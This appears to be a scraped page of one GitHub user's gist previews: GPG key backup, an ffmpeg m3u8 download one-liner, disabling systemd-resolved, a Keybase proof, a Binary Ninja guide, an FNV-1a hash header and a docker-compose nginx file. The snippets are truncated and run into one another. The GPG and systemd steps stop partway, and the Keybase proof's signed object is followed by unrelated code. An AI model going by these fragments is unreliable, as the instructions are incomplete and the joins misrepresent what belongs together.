ilbaroni

Every so often I have to restore my gpg keys and I'm never sure how best to do it. So, I've spent some time playing around with the various ways to export/import (backup/restore) keys.

Method 1

Gotten from the RedHat GPG migration manual

Backup the public and secret keyrings and trust database

## Export all public keys

gpg -a --export >mypubkeys.asc

1. Copy m3u8 link

2. Run command

echo "Enter m3u8 link:";read link;echo "Enter output filename:";read filename;ffmpeg -i "$link" -bsf:a aac_adtstoasc -vcodec copy -c copy -crf 50 $filename.mp4

How to disable systemd-resolved in Ubuntu

Stages

Disable and stop the systemd-resolved service:

  sudo systemctl disable systemd-resolved.service
  sudo systemctl stop systemd-resolved

Then put the following line in the [main] section of your /etc/NetworkManager/NetworkManager.conf:

Keybase proof

I hereby claim:

I am ilbaroni on github.
I am ilbaroni (https://keybase.io/ilbaroni) on keybase.
I have a public key ASBwV7nuN9S5ZS9h68BulBvNfGzHuGBuOuKbHOyMIQBO5Qo

To claim this, I am signing this object:

	#use remotly a command shell

	#sslify a server

	# Practical and Small Guide to Signature Generation in Binary Ninja

	## Motivation

	I recently purchased Binary Ninja, and while reversing a very old executable (created about 24 years ago), I realized that it wasn't properly detecting some common MSVC functions.
	For example, this is the output in IDA Free:

	```call ??2@YAPAXI@Z```

	The same line of disassembly is presented by Binary Ninja as:

	#pragma once
	#include <stdint.h>

	//fnv1a 32 and 64 bit hash functions
	// key is the data to hash, len is the size of the data (or how much of it to hash against)
	// code license: public domain or equivalent
	// post: https://notes.underscorediscovery.com/constexpr-fnv1a/

	inline const uint32_t hash_32_fnv1a(const void* key, const uint32_t len) {

	version: '3.2'
	services:
	nginx:
	image: 'nginx:latest'
	ports:
	- '80:80'
	logging:
	driver: "json-file"
	options:
	max-size: "1k"
